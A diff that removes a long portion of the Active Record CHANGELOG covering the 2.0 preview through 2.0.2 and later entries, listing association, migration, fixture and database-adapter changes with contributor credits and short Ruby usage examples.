-* Change validates_uniqueness_of :case_sensitive option default back to true (from [9160]). Love your database columns, don't LOWER them. *Rick Olson*
-
-* Add support for interleaving migrations by storing which migrations have run in the new schema_migrations table. Closes #11493 *Jordi Bunster*
-
-* ActiveRecord::Base#sum defaults to 0 if no rows are returned. Closes #11550 *Kamal Fariz Mahyuddin*
-
-* Ensure that respond_to? considers dynamic finder methods. Closes #11538. *James Mead*
-
-* Ensure that save on parent object fails for invalid has_one association. Closes #10518. *Pratik Naik*
-
-* Remove duplicate code from associations. *Pratik Naik*
-
-* Refactor HasManyThroughAssociation to inherit from HasManyAssociation. Association callbacks and <association>_ids= now work with hm:t. #11516 *Ruy Asan*
-
-* Ensure HABTM#create and HABTM#build do not load entire association. *Pratik Naik*
-
-* Improve documentation. *Xavier Noria, Jack Danger Canty, leethal*
-
-* Tweak ActiveRecord::Base#to_json to include a root value in the returned hash: {"post": {"title": ...}} *Rick Olson*
-
- Post.find(1).to_json # => {"title": ...}
- config.active_record.include_root_in_json = true
- Post.find(1).to_json # => {"post": {"title": ...}}
-
-* Add efficient #include? to AssociationCollection (for has_many/has_many :through/habtm). *stopdropandrew*
-
-* PostgreSQL: create_ and drop_database support. #9042 *ez, pedz, Nick Sieger*
-
-* Ensure that validates_uniqueness_of works with with_scope. Closes #9235. *Nik Wakelin, cavalle*
-
-* Partial updates include only unsaved attributes. Off by default; set YourClass.partial_updates = true to enable. *Jeremy Kemper*
-
-* Removing unnecessary uses_tzinfo helper from tests, given that TZInfo is now bundled *Geoff Buesing*
-
-* Fixed that validates_size_of :within works in associations #11295, #10019 *cavalle*
-
-* Track changes to unsaved attributes. *Jeremy Kemper*
-
-* Switched to UTC-timebased version numbers for migrations and the schema. This will as good as eliminate the problem of multiple migrations getting the same version assigned in different branches. Also added rake db:migrate:up/down to apply individual migrations that may need to be run when you merge branches #11458 *John Barnette*
-
-* Fixed that has_many :through would ignore the hash conditions #11447 *Emilio Tagua*
-
-* Fix issue where the :uniq option of a has_many :through association is ignored when find(:all) is called. Closes #9407 *cavalle*
-
-* Fix duplicate table alias error when including an association with a has_many :through association on the same join table. Closes #7310 *cavalle*
-
-* More efficient association preloading code that compacts a through_records array in a central location. Closes #11427 *Jack Danger Canty*
-
-* Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert*
-
-* Fixed that ActiveRecord#Base.find_or_create/initialize would not honor attr_protected/accessible when used with a hash #11422 *Emilio Tagua*
-
-* Added ActiveRecord#Base.all/first/last as aliases for find(:all/:first/:last) #11413 *nkallen, Chris O'Sullivan*
-
-* Merge the has_finder gem, renamed as 'named_scope'. #11404 *nkallen*
-
- class Article < ActiveRecord::Base
- named_scope :published, :conditions => {:published => true}
- named_scope :popular, :conditions => ...
- end
-
- Article.published.paginate(:page => 1)
- Article.published.popular.count
- Article.popular.find(:first)
- Article.popular.find(:all, :conditions => {...})
-
- See http://pivots.pivotallabs.com/users/nick/blog/articles/284-hasfinder-it-s-now-easier-than-ever-to-create-complex-re-usable-sql-queries
-
-* Add has_one :through support. #4756 *Chris O'Sullivan*
-
-* Migrations: create_table supports primary_key_prefix_type. #10314 *student, Chris O'Sullivan*
-
-* Added logging for dependency load errors with fixtures #11056 *stuthulhu*
-
-* Time zone aware attributes use Time#in_time_zone *Geoff Buesing*
-
-* Fixed that scoped joins would not always be respected #6821 *Theory/Jack Danger Canty*
-
-* Ensure that ActiveRecord::Calculations disambiguates field names with the table name. #11027 *cavalle*
-
-* Added add/remove_timestamps to the schema statements for adding the created_at/updated_at columns on existing tables #11129 *jramirez*
-
-* Added ActiveRecord::Base.find(:last) #11338 *Emilio Tagua*
-
-* test_native_types expects DateTime.local_offset instead of DateTime.now.offset; fixes test breakage due to dst transition *Geoff Buesing*
-
-* Add :readonly option to HasManyThrough associations. #11156 *Emilio Tagua*
-
-* Improve performance on :include/:conditions/:limit queries by selectively joining in the pre-query. #9560 *dasil003*
-
-* Perf fix: Avoid the use of named block arguments. Closes #11109 *adymo*
-
-* PostgreSQL: support server versions 7.4 through 8.0 and the ruby-pg driver. #11127 *jdavis*
-
-* Ensure association preloading doesn't break when an association returns nil. ##11145 *GMFlash*
-
-* Make dynamic finders respect the :include on HasManyThrough associations. #10998. *cpytel*
-
-* Base#instantiate_time_object only uses Time.zone when Base.time_zone_aware_attributes is true; leverages Time#time_with_datetime_fallback for readability *Geoff Buesing*
-
-* Refactor ConnectionAdapters::Column.new_time: leverage DateTime failover behavior of Time#time_with_datetime_fallback *Geoff Buesing*
-
-* Improve associations performance by using symbol callbacks instead of string callbacks. #11108 *adymo*
-
-* Optimise the BigDecimal conversion code. #11110 *adymo*
-
-* Introduce the :readonly option to all associations. Records from the association cannot be saved. #11084 *Emilio Tagua*
-
-* Multiparameter attributes for time columns fail over to DateTime when out of range of Time *Geoff Buesing*
-
-* Base#instantiate_time_object uses Time.zone.local() *Geoff Buesing*
-
-* Add timezone-aware attribute readers and writers. #10982 *Geoff Buesing*
-
-* Instantiating time objects in multiparameter attributes uses Time.zone if available. #10982 *Rick Olson*
-
-* Add note about how ActiveRecord::Observer classes are initialized in a Rails app. #10980 *Xavier Noria*
-
-* MySQL: omit text/blob defaults from the schema instead of using an empty string. #10963 *mdeiters*
-
-* belongs_to supports :dependent => :destroy and :delete. #10592 *Jonathan Viney*
-
-* Introduce preload query strategy for eager :includes. #9640 *Frederick Cheung, Aliaksey Kandratsenka, codafoo*
-
-* Support aggregations in finder conditions. #10572 *Ryan Kinderman*
-
-* Organize and clean up the Active Record test suite. #10742 *John Barnette*
-
-* Ensure that modifying has_and_belongs_to_many actions clear the query cache. Closes #10840 *john.andrews*
-
-* Fix issue where Table#references doesn't pass a :null option to a *_type attribute for polymorphic associations. Closes #10753 *railsjitsu*
-
-* Fixtures: removed support for the ancient pre-YAML file format. #10736 *John Barnette*
-
-* More thoroughly quote table names. #10698 *dimdenis, lotswholetime, Jeremy Kemper*
-
-* update_all ignores scoped :order and :limit, so post.comments.update_all doesn't try to include the comment order in the update statement. #10686 *Brendan Ribera*
-
-* Added ActiveRecord::Base.cache_key to make it easier to cache Active Records in combination with the new ActiveSupport::Cache::* libraries *David Heinemeier Hansson*
-
-* Make sure CSV fixtures are compatible with ruby 1.9's new csv implementation. *JEG2*
-
-* Added by parameter to increment, decrement, and their bang varieties so you can do player1.increment!(:points, 5) #10542 *Sam*
-
-* Optimize ActiveRecord::Base#exists? to use #select_all instead of #find. Closes #10605 *jamesh, Frederick Cheung, protocool*
-
-* Don't unnecessarily load has_many associations in after_update callbacks. Closes #6822 *stopdropandrew, canadaduane*
-
-* Eager belongs_to :include infers the foreign key from the association name rather than the class name. #10517 *Jonathan Viney*
-
-* SQLite: fix rename_ and remove_column for columns with unique indexes. #10576 *Brandon Keepers*
-
-* Ruby 1.9 compatibility. #10655 *Jeremy Kemper, Dirkjan Bussink*
-
-
-## 2.0.2 (December 16th, 2007) ##
-
-* Ensure optimistic locking handles nil #lock_version values properly. Closes #10510 *Rick Olson*
-
-* Make the Fixtures Test::Unit enhancements more supporting for double-loaded test cases. Closes #10379 *brynary*
-
-* Fix that validates_acceptance_of still works for non-existent tables (useful for bootstrapping new databases). Closes #10474 *Josh Susser*
-
-* Ensure that the :uniq option for has_many :through associations retains the order. #10463 *remvee*
-
-* Base.exists? doesn't rescue exceptions to avoid hiding SQL errors. #10458 *Michael Klishin*
-
-* Documentation: Active Record exceptions, destroy_all and delete_all. #10444, #10447 *Michael Klishin*
-
-
-## 2.0.1 (December 7th, 2007) ##
-
-* Removed query cache rescue as it could cause code to be run twice (closes #10408) *David Heinemeier Hansson*
-
-
-## 2.0.0 (December 6th, 2007) ##
-
-* Anchor DateTimeTest to fixed DateTime instead of a variable value based on Time.now#advance#to_datetime, so that this test passes on 64-bit platforms running Ruby 1.8.6+ *Geoff Buesing*
-
-* Fixed that the Query Cache should just be ignored if the database is misconfigured (so that the "About your applications environment" works even before the database has been created) *David Heinemeier Hansson*
-
-* Fixed that the truncation of strings longer than 50 chars should use inspect
- so newlines etc are escaped #10385 [Norbert Crombach]
-* Fixed that habtm associations should be able to set :select as part of their definition and have that honored *David Heinemeier Hansson*
-
-* Document how the :include option can be used in Calculations::calculate. Closes #7446 *adamwiggins, ultimoamore*
-
-* Fix typo in documentation for polymorphic associations w/STI. Closes #7461 *johnjosephbachir*
-
-* Reveal that the type option in migrations can be any supported column type for your database but also include caveat about agnosticism. Closes #7531 *adamwiggins, mikong*
-
-* More complete documentation for find_by_sql. Closes #7912 *fearoffish*
-
-* Added ActiveRecord::Base#becomes to turn a record into one of another class (mostly relevant for STIs) [David Heinemeier Hansson]. Example:
-
- render :partial => @client.becomes(Company) # renders companies/company instead of clients/client
-
-* Fixed that to_xml should not automatically pass :procs to associations included with :include #10162 *Cheah Chu Yeow*
-
-* Fix documentation typo introduced in [8250]. Closes #10339 *Henrik N*
-
-* Foxy fixtures: support single-table inheritance. #10234 *tom*
-
-* Foxy fixtures: allow mixed usage to make migration easier and more attractive. #10004 *lotswholetime*
-
-* Make the record_timestamps class-inheritable so it can be set per model. #10004 *tmacedo*
-
-* Allow validates_acceptance_of to use a real attribute instead of only virtual (so you can record that the acceptance occured) #7457 *ambethia*
-
-* DateTimes use Ruby's default calendar reform setting. #10201 *Geoff Buesing*
-
-* Dynamic finders on association collections respect association :order and :limit. #10211, #10227 *Patrick Joyce, Rick Olson, Jack Danger Canty*
-
-* Add 'foxy' support for fixtures of polymorphic associations. #10183 *John Barnette, David Lowenfels*
-
-* validates_inclusion_of and validates_exclusion_of allow formatted :message strings. #8132 *devrieda, Mike Naberezny*
-
-* attr_readonly behaves well with optimistic locking. #10188 *Nick Bugajski*
-
-* Base#to_xml supports the nil="true" attribute like Hash#to_xml. #8268 *Jonathan del Strother*
-
-* Change plings to the more conventional quotes in the documentation. Closes #10104 *Jack Danger Canty*
-
-* Fix HasManyThrough Association so it uses :conditions on the HasMany Association. Closes #9729 *Jack Danger Canty*
-
-* Ensure that column names are quoted. Closes #10134 *wesley.moxam*
-
-* Smattering of grammatical fixes to documentation. Closes #10083 *Bob Silva*
-
-* Enhance explanation with more examples for attr_accessible macro. Closes #8095 *fearoffish, Marcel Molina Jr.*
-
-* Update association/method mapping table to refected latest collection methods for has_many :through. Closes #8772 *Pratik Naik*
-
-* Explain semantics of having several different AR instances in a transaction block. Closes #9036 *jacobat, Marcel Molina Jr.*
-
-* Update Schema documentation to use updated sexy migration notation. Closes #10086 *Sam Granieri*
-
-* Make fixtures work with the new test subclasses. *Tarmo Tänav, Michael Koziarski*
-
-* Introduce finder :joins with associations. Same :include syntax but with inner rather than outer joins. #10012 *RubyRedRick*
- # Find users with an avatar
- User.find(:all, :joins => :avatar)
-
- # Find posts with a high-rated comment.
- Post.find(:all, :joins => :comments, :conditions => 'comments.rating > 3')
-
-* Associations: speedup duplicate record check. #10011 *Pratik Naik*
-
-* Make sure that << works on has_many associations on unsaved records. Closes #9989 *Josh Susser*
-
-* Allow association redefinition in subclasses. #9346 *wildchild*
-
-* Fix has_many :through delete with custom foreign keys. #6466 *naffis*
-
-* Foxy fixtures, from rathole (http://svn.geeksomnia.com/rathole/trunk/README)
- - stable, autogenerated IDs
- - specify associations (belongs_to, has_one, has_many) by label, not ID
- - specify HABTM associations as inline lists
- - autofill timestamp columns
- - support YAML defaults
- - fixture label interpolation
- Enabled for fixtures that correspond to a model class and don't specify a primary key value. #9981 *John Barnette*
-
-* Add docs explaining how to protect all attributes using attr_accessible with no arguments. Closes #9631 *boone, rmm5t*
-
-* Update add_index documentation to use new options api. Closes #9787 *Kamal Fariz Mahyuddin*
-
-* Allow find on a has_many association defined with :finder_sql to accept id arguments as strings like regular find does. Closes #9916 *krishna*
-
-* Use VALID_FIND_OPTIONS when resolving :find scoping rather than hard coding the list of valid find options. Closes #9443 *sur*
-
-* Limited eager loading no longer ignores scoped :order. Closes #9561 *Jack Danger Canty, Josh Peek*
-
-* Assigning an instance of a foreign class to a composed_of aggregate calls an optional conversion block. Refactor and simplify composed_of implementation. #6322 *brandon, Chris Cruft*
-
-* Assigning nil to a composed_of aggregate also sets its immediate value to nil. #9843 *Chris Cruft*
-
-* Ensure that mysql quotes table names with database names correctly. Closes #9911 *crayz*
-
- "foo.bar" => "`foo`.`bar`"
-
-* Complete the assimilation of Sexy Migrations from ErrFree *Chris Wanstrath, PJ Hyett*
- http://errtheblog.com/post/2381
-
-* Qualified column names work in hash conditions, like :conditions => { 'comments.created_at' => ... }. #9733 *Jack Danger Canty*
-
-* Fix regression where the association would not construct new finder SQL on save causing bogus queries for "WHERE owner_id = NULL" even after owner was saved. #8713 *Bryan Helmkamp*
-
-* Refactor association create and build so before & after callbacks behave consistently. #8854 *Pratik Naik, mortent*
-
-* Quote table names. Defaults to column quoting. #4593 *Justin Lynn, gwcoffey, eadz, Dmitry V. Sabanin, Jeremy Kemper*
-
-* Alias association #build to #new so it behaves predictably. #8787 *Pratik Naik*
-
-* Add notes to documentation regarding attr_readonly behavior with counter caches and polymorphic associations. Closes #9835 *saimonmoore, Rick Olson*
-
-* Observers can observe model names as symbols properly now. Closes #9869 *queso*
-
-* find_and_(initialize|create)_by methods can now properly initialize protected attributes *Tobias Lütke*
-
-* belongs_to infers the foreign key from the association name instead of from the class name. *Jeremy Kemper*
-
-* PostgreSQL: support multiline default values. #7533 *Carl Lerche, aguynamedryan, Rein Henrichs, Tarmo Tänav*
-
-* MySQL: fix change_column on not-null columns that don't accept dfeault values of ''. #6663 *Jonathan Viney, Tarmo Tänav*
-
-* validates_uniqueness_of behaves well with abstract superclasses and
- single-table inheritance. #3833, #9886 [Gabriel Gironda, rramdas, François Beausoleil, Josh Peek, Tarmo Tänav, pat]
-* Warn about protected attribute assigments in development and test environments when mass-assigning to an attr_protected attribute. #9802 *Henrik N*
-
-* Speedup database date/time parsing. *Jeremy Kemper, Tarmo Tänav*
-
-* Fix calling .clear on a has_many :dependent=>:delete_all association. *Tarmo Tänav*
-
-* Allow change_column to set NOT NULL in the PostgreSQL adapter *Tarmo Tänav*
-
-* Fix that ActiveRecord would create attribute methods and override custom attribute getters if the method is also defined in Kernel.methods. *Rick Olson*
-
-* Don't call attr_readonly on polymorphic belongs_to associations, in case it matches the name of some other non-ActiveRecord class/module. *Rick Olson*
-
-* Try loading activerecord-<adaptername>-adapter gem before trying a plain require so you can use custom gems for the bundled adapters. Also stops gems from requiring an adapter from an old Active Record gem. *Jeremy Kemper, Derrick Spell*
-
-
-## 2.0.0 Preview Release (September 29th, 2007) Includes duplicates of changes from 1.14.2 - 1.15.3 ##
-
-* Add attr_readonly to specify columns that are skipped during a normal ActiveRecord #save operation. Closes #6896 *Dan Manges*
-
- class Comment < ActiveRecord::Base
- # Automatically sets Article#comments_count as readonly.
- belongs_to :article, :counter_cache => :comments_count
- end
-
- class Article < ActiveRecord::Base
- attr_readonly :approved_comments_count
- end
-
-* Make size for has_many :through use counter cache if it exists. Closes #9734 *Xavier Shay*
-
-* Remove DB2 adapter since IBM chooses to maintain their own adapter instead. *Jeremy Kemper*
-
-* Extract Oracle, SQLServer, and Sybase adapters into gems. *Jeremy Kemper*
-
-* Added fixture caching that'll speed up a normal fixture-powered test suite between 50% and 100% #9682 *Frederick Cheung*
-
-* Correctly quote id list for limited eager loading. #7482 *tmacedo*
-
-* Fixed that using version-targetted migrates would fail on loggers other than the default one #7430 *valeksenko*
-
-* Fixed rename_column for SQLite when using symbols for the column names #8616 *drodriguez*
-
-* Added the possibility of using symbols in addition to concrete classes with ActiveRecord::Observer#observe. #3998 *Robby Russell, Tarmo Tänav*
-
-* Added ActiveRecord::Base#to_json/from_json *David Heinemeier Hansson, Cheah Chu Yeow*
-
-* Added ActiveRecord::Base#from_xml [David Heinemeier Hansson]. Example:
-
- xml = "<person><name>David</name></person>"
- Person.new.from_xml(xml).name # => "David"
-
-* Define dynamic finders as real methods after first usage. *bscofield*
-
-* Deprecation: remove deprecated threaded_connections methods. Use allow_concurrency instead. *Jeremy Kemper*
-
-* Associations macros accept extension blocks alongside modules. #9346 *Josh Peek*
-
-* Speed up and simplify query caching. *Jeremy Kemper*
-
-* connection.select_rows 'sql' returns an array (rows) of arrays (field values). #2329 *Michael Schuerig*
-
-* Eager loading respects explicit :joins. #9496 *dasil003*
-
-* Extract Firebird, FrontBase, and OpenBase adapters into gems. #9508, #9509, #9510 *Jeremy Kemper*
-
-* RubyGem database adapters: expects a gem named activerecord-<database>-adapter with active_record/connection_adapters/<database>_adapter.rb in its load path. *Jeremy Kemper*
-
-* Fixed that altering join tables in migrations would fail w/ sqlite3 #7453 *TimoMihaljov/brandon*
-
-* Fix association writer with :dependent => :nullify. #7314 *Jonathan Viney*
-
-* OpenBase: update for new lib and latest Rails. Support migrations. #8748 *dcsesq*
-
-* Moved acts_as_tree into a plugin of the same name on the official Rails svn. #9514 *Pratik Naik*
-
-* Moved acts_as_nested_set into a plugin of the same name on the official Rails svn. #9516 *Josh Peek*
-
-* Moved acts_as_list into a plugin of the same name on the official Rails svn. *Josh Peek*
-
-* Explicitly require active_record/query_cache before using it. *Jeremy Kemper*
-
-* Fix bug where unserializing an attribute attempts to modify a frozen @attributes hash for a deleted record. *Rick Olson, marclove*
-
-* Performance: absorb instantiate and initialize_with_callbacks into the Base methods. *Jeremy Kemper*
-
-* Fixed that eager loading queries and with_scope should respect the :group option *David Heinemeier Hansson*
-
-* Improve performance and functionality of the postgresql adapter. Closes #8049 *roderickvd*
-
- For more information see: http://dev.rubyonrails.org/ticket/8049
-
-* Don't clobber includes passed to has_many.count *Jack Danger Canty*
-
-* Make sure has_many uses :include when counting *Jack Danger Canty*
-
-* Change the implementation of ActiveRecord's attribute reader and writer methods *Michael Koziarski*
- - Generate Reader and Writer methods which cache attribute values in hashes. This is to avoid repeatedly parsing the same date or integer columns. - Change exception raised when users use find with :select then try to access a skipped column. Plugins could override missing_attribute() to lazily load the columns. - Move method definition to the class, instead of the instance - Always generate the readers, writers and predicate methods.
-* Perform a deep #dup on query cache results so that modifying activerecord attributes does not modify the cached attributes. *Rick Olson*
-
- \# Ensure that has_many :through associations use a count query instead of loading the target when #size is called. Closes #8800 [Pratik Naik]
-* Added :unless clause to validations #8003 [monki]. Example:
-
- def using_open_id?
- !identity_url.blank?
- end
-
- validates_presence_of :identity_url, :if => using_open_id?
- validates_presence_of :username, :unless => using_open_id?
- validates_presence_of :password, :unless => using_open_id?
-
-* Fix #count on a has_many :through association so that it recognizes the :uniq option. Closes #8801 *Pratik Naik*
-
-* Fix and properly document/test count(column_name) usage. Closes #8999 *Pratik Naik*
-
-* Remove deprecated count(conditions=nil, joins=nil) usage. Closes #8993 *Pratik Naik*
-
-* Change belongs_to so that the foreign_key assumption is taken from the association name, not the class name. Closes #8992 *Josh Susser*
-
- OLD
- belongs_to :visitor, :class_name => 'User' # => inferred foreign_key is user_id
-
- NEW
- belongs_to :visitor, :class_name => 'User' # => inferred foreign_key is visitor_id
-
-* Remove spurious tests from deprecated_associations_test, most of these aren't deprecated, and are duplicated in associations_test. Closes #8987 *Pratik Naik*
-
-* Make create! on a has_many :through association return the association object. Not the collection. Closes #8786 *Pratik Naik*
-
-* Move from select * to select tablename.* to avoid clobbering IDs. Closes #8889 *dasil003*
-
-* Don't call unsupported methods on associated objects when using :include, :method with to_xml #7307, *Manfred Stienstra, jwilger*
-
-* Define collection singular ids method for has_many :through associations. #8763 *Pratik Naik*
-
-* Array attribute conditions work with proxied association collections. #8318 *Kamal Fariz Mahyuddin, theamazingrando*
-
-* Fix polymorphic has_one associations declared in an abstract class. #8638 *Pratik Naik, Dax Huiberts*
-
-* Fixed validates_associated should not stop on the first error. #4276 *mrj, Manfred Stienstra, Josh Peek*
-
-* Rollback if commit raises an exception. #8642 *kik, Jeremy Kemper*
-
-* Update tests' use of fixtures for the new collections api. #8726 *Kamal Fariz Mahyuddin*
-
-* Save associated records only if the association is already loaded. #8713 *Blaine*
-
-* MySQL: fix show_variable. #8448 *matt, Jeremy Kemper*
-
-* Fixtures: correctly delete and insert fixtures in a single transaction. #8553 *Michael Schuerig*
-
-* Fixtures: people(:technomancy, :josh) returns both fixtures. #7880 *technomancy, Josh Peek*
-
-* Calculations support non-numeric foreign keys. #8154 *Kamal Fariz Mahyuddin*
-
-* with_scope is protected. #8524 *Josh Peek*
-
-* Quickref for association methods. #7723 *marclove, Mindsweeper*
-
-* Calculations: return nil average instead of 0 when there are no rows to average. #8298 *davidw*
-
-* acts_as_nested_set: direct_children is sorted correctly. #4761 *Josh Peek, rails@33lc0.net*
-
-* Raise an exception if both attr_protected and attr_accessible are declared. #8507 *stellsmi*
-
-* SQLite, MySQL, PostgreSQL, Oracle: quote column names in column migration SQL statements. #8466 *marclove, lorenjohnson*
-
-* Allow nil serialized attributes with a set class constraint. #7293 *sandofsky*
-
-* Oracle: support binary fixtures. #7987 *Michael Schoen*
-
-* Fixtures: pull fixture insertion into the database adapters. #7987 *Michael Schoen*
-
-* Announce migration versions as they're performed. *Jeremy Kemper*
-
-* find gracefully copes with blank :conditions. #7599 *Dan Manges, johnnyb*
-
-* validates_numericality_of takes :greater_than, :greater_than_or_equal_to, :equal_to, :less_than, :less_than_or_equal_to, :odd, and :even options. #3952 *Bob Silva, Dan Kubb, Josh Peek*
-
-* MySQL: create_database takes :charset and :collation options. Charset defaults to utf8. #8448 *matt*
-
-* Find with a list of ids supports limit/offset. #8437 *hrudududu*
-
-* Optimistic locking: revert the lock version when an update fails. #7840 *plang*
-
-* Migrations: add_column supports custom column types. #7742 *jsgarvin, Theory*
-
-* Load database adapters on demand. Eliminates config.connection_adapters and RAILS_CONNECTION_ADAPTERS. Add your lib directory to the $LOAD_PATH and put your custom adapter in lib/active_record/connection_adapters/adaptername_adapter.rb. This way you can provide custom adapters as plugins or gems without modifying Rails. *Jeremy Kemper*
-
-* Ensure that associations with :dependent => :delete_all respect :conditions option. Closes #8034 *Jack Danger Canty, Josh Peek, Rick Olson*
-
-* belongs_to assignment creates a new proxy rather than modifying its target in-place. #8412 *mmangino@elevatedrails.com*
-
-* Fix column type detection while loading fixtures. Closes #7987 *roderickvd*
-
-* Document deep eager includes. #6267 *Josh Susser, Dan Manges*
-
-* Document warning that associations names shouldn't be reserved words. #4378 *murphy@cYcnus.de, Josh Susser*
-
-* Sanitize Base#inspect. #8392, #8623 *Nik Wakelin, jnoon*
-
-* Replace the transaction {|transaction|..} semantics with a new Exception ActiveRecord::Rollback. *Michael Koziarski*
-
-* Oracle: extract column length for CHAR also. #7866 *ymendel*
-
-* Document :allow_nil option for validates_acceptance_of since it defaults to true. *tzaharia*
-
-* Update documentation for :dependent declaration so that it explicitly uses the non-deprecated API. *Jack Danger Canty*
-
-* Add documentation caveat about when to use count_by_sql. *fearoffish*
-
-* Enhance documentation for increment_counter and decrement_counter. *fearoffish*
-
-* Provide brief introduction to what optimistic locking is. *fearoffish*
-
-* Add documentation for :encoding option to mysql adapter. *marclove*
-
-* Added short-hand declaration style to migrations (inspiration from Sexy Migrations, http://errtheblog.com/post/2381) [David Heinemeier Hansson]. Example:
-
- create_table "products" do |t|
- t.column "shop_id", :integer
- t.column "creator_id", :integer
- t.column "name", :string, :default => "Untitled"
- t.column "value", :string, :default => "Untitled"
- t.column "created_at", :datetime
- t.column "updated_at", :datetime
- end
-
- ...can now be written as:
-
- create_table :products do |t|
- t.integer :shop_id, :creator_id
- t.string :name, :value, :default => "Untitled"
- t.timestamps
- end
-
-* Use association name for the wrapper element when using .to_xml. Previous behavior lead to non-deterministic situations with STI and polymorphic associations. *Michael Koziarski, jstrachan*
-
-* Improve performance of calling .create on has_many :through associations. *evan*
-
-* Improved cloning performance by relying less on exception raising #8159 *Blaine*
-
-* Added ActiveRecord::Base.inspect to return a column-view like #<Post id:integer, title:string, body:text> *David Heinemeier Hansson*
-
-* Added yielding of Builder instance for ActiveRecord::Base#to_xml calls *David Heinemeier Hansson*
-
-* Small additions and fixes for ActiveRecord documentation. Closes #7342 *Jeremy McAnally*
-
-* Add helpful debugging info to the ActiveRecord::StatementInvalid exception in ActiveRecord::ConnectionAdapters::SqliteAdapter#table_structure. Closes #7925. *court3nay*
-
-* SQLite: binary escaping works with $KCODE='u'. #7862 *tsuka*
-
-* Base#to_xml supports serialized attributes. #7502 *jonathan*
-
-* Base.update_all :order and :limit options. Useful for MySQL updates that must be ordered to avoid violating unique constraints. *Jeremy Kemper*
-
-* Remove deprecated object transactions. People relying on this functionality should install the object_transactions plugin at http://code.bitsweat.net/svn/object_transactions. Closes #5637 *Michael Koziarski, Jeremy Kemper*
-
-* PostgreSQL: remove DateTime -> Time downcast. Warning: do not enable translate_results for the C bindings if you have timestamps outside Time's domain. *Jeremy Kemper*
-
-* find_or_create_by_* takes a hash so you can create with more attributes than are in the method name. For example, Person.find_or_create_by_name(:name => 'Henry', :comments => 'Hi new user!') is equivalent to Person.find_by_name('Henry') || Person.create(:name => 'Henry', :comments => 'Hi new user!'). #7368 *Josh Susser*
-
-* Make sure with_scope takes both :select and :joins into account when setting :readonly. Allows you to save records you retrieve using method_missing on a has_many :through associations. *Michael Koziarski*
-
-* Allow a polymorphic :source for has_many :through associations. Closes #7143 *protocool*
-
-* Consistent public/protected/private visibility for chained methods. #7813 *Dan Manges*
-
-* Oracle: fix quoted primary keys and datetime overflow. #7798 *Michael Schoen*
-
-* Consistently quote primary key column names. #7763 *toolmantim*
-
-* Fixtures: fix YAML ordered map support. #2665 *Manuel Holtgrewe, nfbuckley*
-
-* DateTimes assume the default timezone. #7764 *Geoff Buesing*
-
-* Sybase: hide timestamp columns since they're inherently read-only. #7716 *Mike Joyce*
-
-* Oracle: overflow Time to DateTime. #7718 *Michael Schoen*
-
-* PostgreSQL: don't use async_exec and async_query with postgres-pr. #7727, #7762 *flowdelic, toolmantim*
-
-* Fix has_many :through << with custom foreign keys. #6466, #7153 *naffis, Rich Collins*
-
-* Test DateTime native type in migrations, including an edge case with dates
- during calendar reform. #7649, #7724 [fedot, Geoff Buesing]
-* SQLServer: correctly schema-dump tables with no indexes or descending indexes. #7333, #7703 *Jakob Skjerning, Tom Ward*
-
-* SQLServer: recognize real column type as Ruby float. #7057 *sethladd, Tom Ward*
-
-* Added fixtures :all as a way of loading all fixtures in the fixture directory at once #7214 *Manfred Stienstra*
-
-* Added database connection as a yield parameter to ActiveRecord::Base.transaction so you can manually rollback [David Heinemeier Hansson]. Example:
-
- transaction do |transaction|
- david.withdrawal(100)
- mary.deposit(100)
- transaction.rollback! # rolls back the transaction that was otherwise going to be successful
- end
-
-* Made increment_counter/decrement_counter play nicely with optimistic locking, and added a more general update_counters method *Jamis Buck*
-
-* Reworked David's query cache to be available as Model.cache {...}. For the duration of the block no select query should be run more then once. Any inserts/deletes/executes will flush the whole cache however *Tobias Lütke*
- Task.cache { Task.find(1); Task.find(1) } # => 1 query
-
-* When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. *Jamis Buck*
-
-* Oracle: fix lob and text default handling. #7344 *gfriedrich, Michael Schoen*
-
-* SQLServer: don't choke on strings containing 'null'. #7083 *Jakob Skjerning*
-
-* MySQL: blob and text columns may not have defaults in 5.x. Update fixtures schema for strict mode. #6695 *Dan Kubb*
-
-* update_all can take a Hash argument. sanitize_sql splits into two methods for conditions and assignment since NULL values and delimiters are handled differently. #6583, #7365 *sandofsky, Assaf*
-
-* MySQL: SET SQL_AUTO_IS_NULL=0 so 'where id is null' doesn't select the last inserted id. #6778 *Jonathan Viney, timc*
-
-* Use Date#to_s(:db) for quoted dates. #7411 *Michael Schoen*
-
-* Don't create instance writer methods for class attributes. Closes #7401 *Rick Olson*
-
-* Docs: validations examples. #7343 *zackchandler*
-
-* Add missing tests ensuring callbacks work with class inheritance. Closes #7339 *sandofsky*
-
-* Fixtures use the table name and connection from set_fixture_class. #7330 *Anthony Eden*
-
-* Remove useless code in #attribute_present? since 0 != blank?. Closes #7249 *Josh Susser*
-
-* Fix minor doc typos. Closes #7157 *Josh Susser*
-
-* Fix incorrect usage of #classify when creating the eager loading join statement. Closes #7044 *Josh Susser*
-
-* SQLServer: quote table name in indexes query. #2928 *keithm@infused.org*
-
-* Subclasses of an abstract class work with single-table inheritance. #5704, #7284 *BertG, nick+rails@ag.arizona.edu*
-
-* Make sure sqlite3 driver closes open connections on disconnect *Rob Rasmussen*
-
-* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name. #7072 *Jeremy McAnally*
-
-* change_column accepts :default => nil. Skip column options for primary keys. #6956, #7048 *Dan Manges, Jeremy Kemper*
-
-* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information. #3987, #6664 *Jonathan Viney, Manfred Stienstra, altano@bigfoot.com*
-
-* Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default. #7000 *Michael Schoen*
-
-* MySQL: retain SSL settings on reconnect. #6976 *randyv2*
-
-* Apply scoping during initialize instead of create. Fixes setting of foreign key when using find_or_initialize_by with scoping. *Cody Fauser*
-
-* SQLServer: handle [quoted] table names. #6635 *rrich*
-
-* acts_as_nested_set works with single-table inheritance. #6030 *Josh Susser*
-
-* PostgreSQL, Oracle: correctly perform eager finds with :limit and :order. #4668, #7021 *eventualbuddha, Michael Schoen*
-
-* Pass a range in :conditions to use the SQL BETWEEN operator. #6974 *Dan Manges*
- Student.find(:all, :conditions => { :grade => 9..12 })
-
-* Fix the Oracle adapter for serialized attributes stored in CLOBs. Closes #6825 *mschoen, tdfowler*
-
-* [DOCS] Apply more documentation for ActiveRecord Reflection. Closes #4055 *Robby Russell*
-
